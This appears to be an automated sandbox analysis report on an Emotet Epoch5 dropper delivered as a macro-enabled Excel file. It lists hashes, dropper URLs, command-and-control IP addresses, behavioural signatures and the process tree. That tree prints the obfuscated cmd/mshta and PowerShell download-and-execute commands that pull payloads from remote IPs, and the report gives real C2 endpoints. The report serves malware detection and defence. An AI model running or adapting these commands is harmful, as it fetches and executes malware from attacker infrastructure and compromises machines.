Analysis

  • max time kernel
    115s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    20-01-2022 19:38

General

  • Target

    IPVX_243334.xlsm

  • Size

    49KB

  • MD5

    e3d5be98c00a8e3a8d203fa438324b43

  • SHA1

    e42871e45dd9b4f206ab53e5f6e26321dd27fe80

  • SHA256

    1bccdaed8a9d03e7c5a5f0ecd9ca25e942077d1be538087e6451cc3030e37b8d

  • SHA512

    98efd7fcad036d523e7c76e327deebbe5dcac4941d12a2a8961518bd2eaef5782d2211a1b9d99094633fa10d4360cc80dc6e4536474c5c6b21196a17f62aac5e

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe1.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\IPVX_243334.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1868
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4080
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe1.html
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3464
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:684
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3924
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2792
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:3912
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qlphxbekie\mjcw.qxo",olpKPwl
                  8⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:3608
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Qlphxbekie\mjcw.qxo",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2144
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3464 -s 1720
          4⤵
          • Program crash
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:376
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
    1⤵
      PID:3044
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 440 -p 3464 -ip 3464
      1⤵
      • Suspicious use of NtCreateProcessExOtherParentProcess
      • Suspicious use of WriteProcessMemory
      PID:2180
    • C:\Windows\System32\WaaSMedicAgent.exe
      C:\Windows\System32\WaaSMedicAgent.exe 0d2e1fc5b80c0f4411260f50d9095cdd qgAU9Pk8fkiTQFJmOK/FDg.0.1.0.0.0
      1⤵
      • Modifies data under HKEY_USERS
      PID:2892

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Public\Documents\ssd.dll

      MD5

      6d955d47992b3133eb24fc562d1c4955

      SHA1

      d44c73f72d44332f10b6968ae7b54667db2091c2

      SHA256

      8699d613132cdca97cfeaaaef039efc5f7c4674c1bb6c7ba2226c87bcd0467ed

      SHA512

      007fe1f28caa1c90b57f938e553f190f8b31dbc3dbf61f9bea07d2960c468096dba952442bc64cade5451d7e5c7f518af658f6f59ffceac797054ebdd78957a8

    • C:\Users\Public\Documents\ssd.dll

      MD5

      6d955d47992b3133eb24fc562d1c4955

      SHA1

      d44c73f72d44332f10b6968ae7b54667db2091c2

      SHA256

      8699d613132cdca97cfeaaaef039efc5f7c4674c1bb6c7ba2226c87bcd0467ed

      SHA512

      007fe1f28caa1c90b57f938e553f190f8b31dbc3dbf61f9bea07d2960c468096dba952442bc64cade5451d7e5c7f518af658f6f59ffceac797054ebdd78957a8

    • C:\Users\Public\Documents\ssd.dll

      MD5

      6d955d47992b3133eb24fc562d1c4955

      SHA1

      d44c73f72d44332f10b6968ae7b54667db2091c2

      SHA256

      8699d613132cdca97cfeaaaef039efc5f7c4674c1bb6c7ba2226c87bcd0467ed

      SHA512

      007fe1f28caa1c90b57f938e553f190f8b31dbc3dbf61f9bea07d2960c468096dba952442bc64cade5451d7e5c7f518af658f6f59ffceac797054ebdd78957a8

    • C:\Windows\SysWOW64\Qlphxbekie\mjcw.qxo

      MD5

      6d955d47992b3133eb24fc562d1c4955

      SHA1

      d44c73f72d44332f10b6968ae7b54667db2091c2

      SHA256

      8699d613132cdca97cfeaaaef039efc5f7c4674c1bb6c7ba2226c87bcd0467ed

      SHA512

      007fe1f28caa1c90b57f938e553f190f8b31dbc3dbf61f9bea07d2960c468096dba952442bc64cade5451d7e5c7f518af658f6f59ffceac797054ebdd78957a8

    • C:\Windows\SysWOW64\Qlphxbekie\mjcw.qxo

      MD5

      6d955d47992b3133eb24fc562d1c4955

      SHA1

      d44c73f72d44332f10b6968ae7b54667db2091c2

      SHA256

      8699d613132cdca97cfeaaaef039efc5f7c4674c1bb6c7ba2226c87bcd0467ed

      SHA512

      007fe1f28caa1c90b57f938e553f190f8b31dbc3dbf61f9bea07d2960c468096dba952442bc64cade5451d7e5c7f518af658f6f59ffceac797054ebdd78957a8

    • memory/684-179-0x0000020FC8740000-0x0000020FC8784000-memory.dmp

      Filesize

      272KB

    • memory/684-205-0x0000020FC8810000-0x0000020FC8886000-memory.dmp

      Filesize

      472KB

    • memory/684-174-0x0000020FB00E0000-0x0000020FB0102000-memory.dmp

      Filesize

      136KB

    • memory/684-175-0x0000020FB0130000-0x0000020FC8300000-memory.dmp

      Filesize

      385.8MB

    • memory/684-177-0x0000020FB0130000-0x0000020FC8300000-memory.dmp

      Filesize

      385.8MB

    • memory/1868-137-0x00007FF84B520000-0x00007FF84B530000-memory.dmp

      Filesize

      64KB

    • memory/1868-138-0x00007FF84B520000-0x00007FF84B530000-memory.dmp

      Filesize

      64KB

    • memory/1868-134-0x00007FF84DA70000-0x00007FF84DA80000-memory.dmp

      Filesize

      64KB

    • memory/1868-257-0x00007FF84DA70000-0x00007FF84DA80000-memory.dmp

      Filesize

      64KB

    • memory/1868-133-0x00007FF84DA70000-0x00007FF84DA80000-memory.dmp

      Filesize

      64KB

    • memory/1868-256-0x00007FF84DA70000-0x00007FF84DA80000-memory.dmp

      Filesize

      64KB

    • memory/1868-255-0x00007FF84DA70000-0x00007FF84DA80000-memory.dmp

      Filesize

      64KB

    • memory/1868-131-0x00007FF84DA70000-0x00007FF84DA80000-memory.dmp

      Filesize

      64KB

    • memory/1868-254-0x00007FF84DA70000-0x00007FF84DA80000-memory.dmp

      Filesize

      64KB

    • memory/1868-130-0x00007FF84DA70000-0x00007FF84DA80000-memory.dmp

      Filesize

      64KB

    • memory/1868-132-0x00007FF84DA70000-0x00007FF84DA80000-memory.dmp

      Filesize

      64KB

    • memory/2144-226-0x0000000004C10000-0x0000000004C38000-memory.dmp

      Filesize

      160KB

    • memory/2144-228-0x0000000004DA0000-0x0000000004DC8000-memory.dmp

      Filesize

      160KB

    • memory/2144-234-0x0000000005010000-0x0000000005038000-memory.dmp

      Filesize

      160KB

    • memory/2144-220-0x0000000004360000-0x0000000004388000-memory.dmp

      Filesize

      160KB

    • memory/2144-222-0x0000000004AD0000-0x0000000004AF8000-memory.dmp

      Filesize

      160KB

    • memory/2144-224-0x0000000004BB0000-0x0000000004BD8000-memory.dmp

      Filesize

      160KB

    • memory/2144-232-0x0000000004F30000-0x0000000004F58000-memory.dmp

      Filesize

      160KB

    • memory/2144-230-0x0000000004E00000-0x0000000004E28000-memory.dmp

      Filesize

      160KB

    • memory/2792-200-0x0000000002EF0000-0x0000000002F18000-memory.dmp

      Filesize

      160KB

    • memory/3912-215-0x00000000058C0000-0x00000000058E8000-memory.dmp

      Filesize

      160KB

    • memory/3912-210-0x00000000056E0000-0x0000000005708000-memory.dmp

      Filesize

      160KB

    • memory/3912-212-0x0000000005740000-0x0000000005768000-memory.dmp

      Filesize

      160KB

    • memory/3912-208-0x00000000055D0000-0x00000000055F8000-memory.dmp

      Filesize

      160KB

    • memory/3912-206-0x00000000054F0000-0x0000000005518000-memory.dmp

      Filesize

      160KB

    • memory/3912-203-0x0000000004E10000-0x0000000004E38000-memory.dmp

      Filesize

      160KB